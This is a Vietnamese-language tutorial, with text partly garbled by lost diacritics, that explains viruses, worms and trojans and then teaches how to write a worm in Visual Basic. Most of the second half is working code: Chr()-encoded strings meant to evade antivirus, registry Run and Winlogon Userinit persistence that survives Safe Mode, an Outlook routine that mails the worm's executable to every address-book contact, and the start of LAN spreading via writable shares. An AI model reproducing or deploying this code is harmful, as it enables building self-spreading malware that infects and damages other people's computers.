Virus toàn tp
Tác gi : Lê Nguyên Dũng
Lp 12C1 trường THPT Đăk Nông (Th xã Gia Nghĩa tnh Đăk Nông)
Email : dungcoivb@gmail.com
Nick (Yahoo) : dungcoivb
I. ABC - Định nghĩa :
Rt nhiu tài liu đã định nghĩa v Virus đây Dũng còi s đưa li phn định nghĩa t Lc Vit :
Mt chương trình máy tính được thiết kế dưới dng mt trò chơi khăm, hoc mt s phá hoi ngm, có th t lây lan bng cách gn
vào các chương trình khác và tiến hành các thao tác vô ích, vô nghĩa, đôi khi là thao tác phá hoi. Khi mt vi rút nhim vào đĩa, nó t
lây lan bng cách gn vào các chương trình khác trong h thng, k c phn mm h thng. Ging như vi rút người, tác hi ca vi
rút máy tính có th chưa phát hin được trong thi gian vài ngày hay vài tun. Trong thi gian đó mi đĩa đưa vào h máy đều mang
theo mt bn sao n ca vi rút đó - các đĩa này đều b nhim vi rút.
Khi vi rút phát tác, chúng gây ra nhiu hu qu : t nhng thông báo by b đến nhng tác động làm lch lc kh năng thc hin ca
phn mm h thng, hoc xóa sch mi thông tin trên đĩa cng. Không phi bao gi thông báo by b cũng do vi rút gây ra.
Okie, tht đơn gin Virus = Mt chương trình -> Không phi là mt gì đó quá phc tp hay khó khăn đây
để viết mt con virus c (Có rt nhiu người, k c Dũng còi trước đây đã nghĩ ngược li).
II. Phân tích :
Nên phân bit cho rõ virus, worm, trojan, adware ... nhé các bn
Bn nên chú ý phân bit t virus (Nói chung) là bao gm c worm, Trojan... vi virus (Nói riêng) là tên c
th ca mt con virus.
Virus: Là mt chương trình đúng như định nghĩa v virus (Nói chung), tuy nhiên nó hot động ch yếu là
lây nhim trc tiếp vào file đối tượng.
Ví d :
C th là chèn bn thân nó vào file .exe vi nhng v trí thích hp (Các virus thông thường chèn vào cui
file sau đó thêm mt vài lnh đon Byte đầu file để thc hin lnh “Nhy” t đon mã này ti đon code
virus)
Mt vài con virus Dũng còi đã nhn thy vic nó chèn toàn b nó vào đon đầu ca chương trình (Chương
trình gc s phía sau đon Byte này). Nó cũng t động sa đổi Icon sao cho ging file gc.
Làm vic :
Phn ln virus ch làm vic khi b kích hot vào file đã b lây nhim (Tiếp tc thao tác lây nhim) sau đó s
tr li quyn làm vic li cho chương trình ban đầu)
Tuy nhiên, cũng theo Dũng còi nhn thy, có mt vài (Không nhiu) đã t động “Tách tp” thành mt file
riêng ri làm vic chế độ thường trc (Loi này đã “Lai” vi worm)
Tác hi :
Trong tt c các loi virus (nói chung) thì Dũng còi n thng này nht vì nếu my loi kia
(Worm,Trojan...) còn để mà dit chn loi này thì phi “M” file “Dính chưởng” sau đó thc hin vic
tách các đọan Byte riêng bit mi cu được phn data b nhim (Nếu con virus nó mà mã hóa phn này thì
pó tay)
Rõ ràng y vic mà cái loi này gây ra s chiếm dung lượng không nh ca đĩa nơi lưu tr chúng (Thông
thường khi 1 PC nhim Virus thì kéo theo s có rt nhiu file trong đó b lây lan)
Qúa trình thc thi file (Khi file đó b nhim) s chm hơn bình thường (Khó nhn ra cái này lm)
Nhiu thng lp trình viên nó ngi code u, làm mt mt vài byte ca file gc hay ln ln cái chi đó => D
liu ban đầu coi như hư sch (Ít xy ra nhưng vn có)
Worm : Okie, phi tha định nghĩa ban đầu và kèm đó là thao tác lây nhim qua các th khác mà không
cn các file “Mi” như loi virus (Nói riêng). Thông thường các worm lây truyn qua Email, IM (Nói chung
là qua Internet), qua các đĩa lưu động (Đĩa mm đĩa USB...)
Đây chính là loi virus (Nói chung) nhiu nht.
Làm vic :
Không có chi hiu hay phc tp loi này c. Mt con Worm có các “Công vic” cơ bn sau (Các công vic
mà hu như con sâu nào cũng phi làm)
1. T sao chép vào các thư mc ca h thng (Worm mun “Sng lâu” luôn luôn làm thao tác này)
2. Ghi thông tin khi động vào h thng (Ghi thông tin vào h thng để khi h thng khi động vào ln
sau thì vn còn được “Làm vic”) : Thao tác này thông thường là ghi mt Key trong Regedit, to mt file
đặc bit vi cu trúc có sn (Su rõ phn sau), hay là t sao chép vào nhng v trí đặc bit mà h
điu hành s t load nó khi khi động (Có không nhiu file có “Vinh dđược h điu hành load khi khi
động)
3. Thao tác lây truyn : Công vic này thông thường là worm “Nm ch” khi tha điu kin nào đó s tiến
hành lây lan (Như vic khi nào thy có đĩa USB là “Lây”).
Còn sau đây là mt s công vic mà mt s worm vn làm (Dù không nhiu lm) :
1. KeyLog : Ok, ghi li bàn phím (Uí chà, không h khó vi mc đơn gin đâu)
2. BackDoor (M c hu) : Dù cái này “C l sĩ” lm ri nhưng vn còn đó.
3. Bom hn gi : Mt s lp trình dziên dzui tính, c ti “Ngày lành tháng tt” hay “Gi lành” là cho con
worm “Làm dzic”. (Nguyên tc “Bom hn gi”)
4. Bát nháo mt chút nào : Mt chút “Tưng tưng” cho “Vui nhà vui ca” đó là nhng gì mà my lp trình
dziên dzui tính (Như Dũng còi) hay làm vi con worm ca mình.
Tác hi :
Ngn RAM h thng : Luôn luôn
Ngn đường truyn net (Nếu con worm đó “Sài” net)
Trojan : Okie, tha mãn định nghĩa virus nè, cng thêm phn này na. Nó không t lây lan mà nó n
trong mt chương trình có ích hay là mt cái gì đó “Hay hay”, tuy nhiên trong đó li cha mt cái gì đó
“Hng có hay”
Nên nh Trojan khác vi virus, bi vì Trojan là bn thân chương trình ban đầu là “Có vn đề” còn virus thì
cái ban đầu “Vô ti” (File nn nhân ban đầu hoàn toàn không dính gì đến virus)
Làm vic :
Trojan thông thường có 2 cách làm vic :
1. Thc hin trc tiếp các công vic “Bt chính” khi bn kích hot nó.
2. T động “Th” mt con “Nm vùng” trong PC ca bn sau đó kích hot con này (Đây là cách thường
thy). Cái đằng sau này mi “Làm vic” nè.
Công vic thường thy ca Trojan là m ca hu (Backdoor : Nói cho d hiu là m mt cng để ch tín
hiu t server, hoc kết ni trc tiếp vi server ca người điu khin).
Tuy nhiên nói là vy thui ch th loi này thì ta làm gì mà chng được (Th worm, adware, spyware...) vô
tư đi em.
Tác hi :
Có mt điu tr trêu là Trojan thường chính là my cái soft dành cho bn t gi mình là “Hacker” (Hng
biết có phi dzy không na, vì my cái soft này thì theo Dũng còi “Kim định” thì phn đông đều là
Trojan). Mt s khác là các phn mm Free (Ui chao đau đớn làm sao).
III. Viết th coi nhá :
(Trong gii hn ca mình, Dũng ch có th hướng dn v Worm và Trojan)
Chà viết virus có d không nh ?
Uí chà, d òm. Không tin à, nhìn th coi.
1. Bo mt d liu dng String :
Như Dũng còi đã tng phân tích, vic để “Lòi” ra d liu dng này là mt khiếm khuyến ca mt s phn
mm (Dũng còi đã tng ly thành công PassWord ca data (Làm bng Access) ca mt phn mm khá độ
s (Quên tên mt tiêu rùi) ch bng cách sài Notepad truy tìm các hàm truy vn SQL trong chui Byte)
Vi mt con virus (Nói chung) nếu để l ra các đon string này thì đúng là mt thm ha (Các AV s ngay
lp tc “Túm c” nó khi phân tích, người dùng s d dàng làm “Tht” virus ca bn).
Vy “Anh phi làm sao ? “ (Nhc Đan Trường hay ra phết nha hì hì)
Đơn gin thay vì chúng ta gi nguyên c chui String trong chương trình thì chúng ta s phân tích tng
Byte trong chui đó theo mt nguyên tc nht định sau đó “Ráp li” :
Ví d : Dùng cách quy đổi ra theo bng mã Ascii :
“DungCoi”= Chr(68)+Chr(117)+Chr(110)+Chr(103)+Chr(67)+Chr(111)+Chr(105)
Đon code để phân tích ra tng Byte rt đơn gin bng hàm Chr (Nếu nhác quá thì ti Source RealWorm
sau đó vô thư mc Soft mà tìm cái Ascii Dũng đã viết sn)
2. To key khi động :
Các bn nên chú ý vi phương pháp ghi key bng kiu
Set reg = CreateObject("WScript.Shell")
reg.regwrite "HKEY_LOCAL_MAHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start", App.Path + "\" + App.EXEName +
".exe"
S b gn như tt c các AV phát hin -> Dù đơn gin như không nên sài
Phn này Dũng s trích li t mt bài viết trưc đây :
‘=========================================
I.1. Khi động hp pháp :
- Khi động theo cách “Chính quy”. Có nghĩa là nó hoàn toàn “Hp pháp” theo chun mc ca mt phn mm
thông thường (Cách này worm,Trojan cũng thường sài )
Có 3 phương thc như sau :
I.1.a Ghi Key trong Regedit theo các địa ch sau :
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Code :
Module :
Option Explicit
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal
lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal
lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As
Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long,
ByVal lpValueName As String) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_BINARY = 3 ' Free form binary
Public Const HKEY_CURRENT_USER = &H80000001
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret
End Sub
Sub DelSetting(hKey As Long, strPath As String, strValue As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegDeleteValue Ret, strValue
RegCloseKey Ret
End Sub
Form :
Dim AppVirus As String
Private Sub Form_Load()
If Len(App.Path) <> 3 Then
AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else
AppVirus = App.Path + App.exename + (“.exe”)
End If
SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi",
AppVirus
‘ DelSetting HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi" ‘Thao
tác xóa Key
End Sub
‘Chú ý : Phn DungCoi đây là Tên Key
Phn AppVirusđường dn File ca bn
I.1.b Phương pháp s dng thư mc khi động :
C:\Documents and Settings\DungCoi\Start Menu\Programs\Startup
DungCoi = Tên s dng trong h thng
I.1.c Phương pháp s dng các tp tin đặc bit :
Có mt s tp tin mà khi ghi thông tin vi 1 cu trúc nht định thì nó s khi động chương trình chúng ta
mong mun khi khi động h thng như (Win.ini System.ini)
Thui cái này lên quantrimang.com mà đọc
I.1. Khi động bt hp pháp :
- Vic nó không theo các “Quy định” t trước khiến nó ít người phát hin ra và thm chí c MSCONFIG
cũng ko th nhn ra.
- Tuy nhiên, cn chú ý là nếu các bn chưa hiu hết công vic ca các Key trong phn này thì ko nên đụng
ti (Nếu u có th làm h điu hành khi động không được)
- À, cn nhc thêm. Do đây là nhng phương pháp tác động sâu vào h thng nên rt nguy him nếu
không hiu hết bn cht ca chúng.
Sa đổi Key trong Regedit :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Code : (Code mu vi Key Userinit)
Ban chú ý là phương pháp này cho phép chương trình ca chúng ta được khi động ngay trong chế độ Safe Mode (Rt đáng n đấy)
Module :
Option Explicit
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_BINARY = 3
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret
End Sub
Form :
Dim AppVirus As String
Dim PathExp As String
Private Sub Form_Load()
PathExp = “C:\Windows\explorer.exe”
If Len(App.Path) <> 3 Then
AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else
AppVirus = App.Path + App.exename + (“.exe”)
End If
Shell PathExp
SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”,
“Userinit”, AppVirus
End Sub
‘Phn AppVirusđường dn File ca bn
‘Câu lnh Shell PathExp là rt cn thiết (Không tin xóa nó và chy th đi)
Chú ý : Đon code ch có giá tr khi chương trình đã biên dch (Tuyt đối không chy th khi chưa biên dch,
phi biên dch ra ri mi được chy th)
Mun thy hiu qu thì c chy File đã biên dch y, ri khi động li thy kết qu lin.
Vi k thut này thì chương trình ca chúng ta s được khi động ngay c trong Safe Mode.
3. Lây nhim :
Yeah, đây là mt trong nhng thao tác đòi hi rt nhiu “Sáng to” đó nha.
a. Email nhé :
Nguyên tc cơ bn đó là s dng OE (Outlook Explorer) có sn và các thông tin t OE để khai thác và gi
email ti đối tượng kế tiếp. Tuy nhiên các này khá là lâu đời nên hin nay không còn my ai sài c (C
tham kho như vui nhé)
Dim AppVirus As String
If Len(App.Path) <> 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Set go = CreateObject(fgo)
Set St = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) +
Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) +
Chr(105) + Chr(111) + Chr(110))
Set out = Wscript.CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) +
Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) +
Chr(116) + Chr(105) + Chr(111) + Chr(110))
‘Các bn chú ý : Tt c các d liu dng String trên đều được Dũng còi qua ra mã Ascii để trách
AV d dàng phát hin
Set MAPI = out.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73))
Set a = MAPI.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = St.CreateItem(0)
Mail.To = St.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)).AddressLists(1).AddressEntries(X)
Mail.Subject = “Tên ni dung Mail” ‘Ví d : Anh Dũng còi đẹp giai nhc làng
Mail.Body = “Ni dung email” ‘Ví d : Coi hình người iu Dũng còi nè
Mail.Attachments.Add = AppVirus Đây là phn file đính kèm
Mail.Send
Next
St.Quit
b. LAN ti sao không ?
Lây truyn trong mng LAN v cơ bn gm 2 thao tác :
1. Xác định các thư mc trong chế độ Share full (Cho phép sa đổi)
2. Thc hin thao tác Copy
Trong bước 2 thì không có gì đáng nói (FileCopy).
Cái khó là thao tác th nht, trong quá trình “Nghiên kíu” Dũng còi đã tìm ra 3 phương thc cơ bn
1. Sài hàm API để xác định thư mc Share
2. Sài mt công c trung gian ca Windows là my cái lnh h tr sn ca h điu hành.
3. Dùng cách đọc lot key trong regedit
Cách s 1 khó quá, Dũng còi ch biết là có th ch làm ra
Dũng còi ch có th trình bày 2 cách sau :
1. Command :
Nguyên tc ca cách này là kêu h điu hành làm theo cái lnh kia (Tìm và ghi các đường dn thư mc
Share Full vào 1 tp tin). Sau đó tiến hành đọc tp tin này và thc hin thao tác copy.
Dim AppVirus As String
If Len(App.Path) <> 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Dim ishell
Set ishell = CreateObject("wscript.shell")
ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True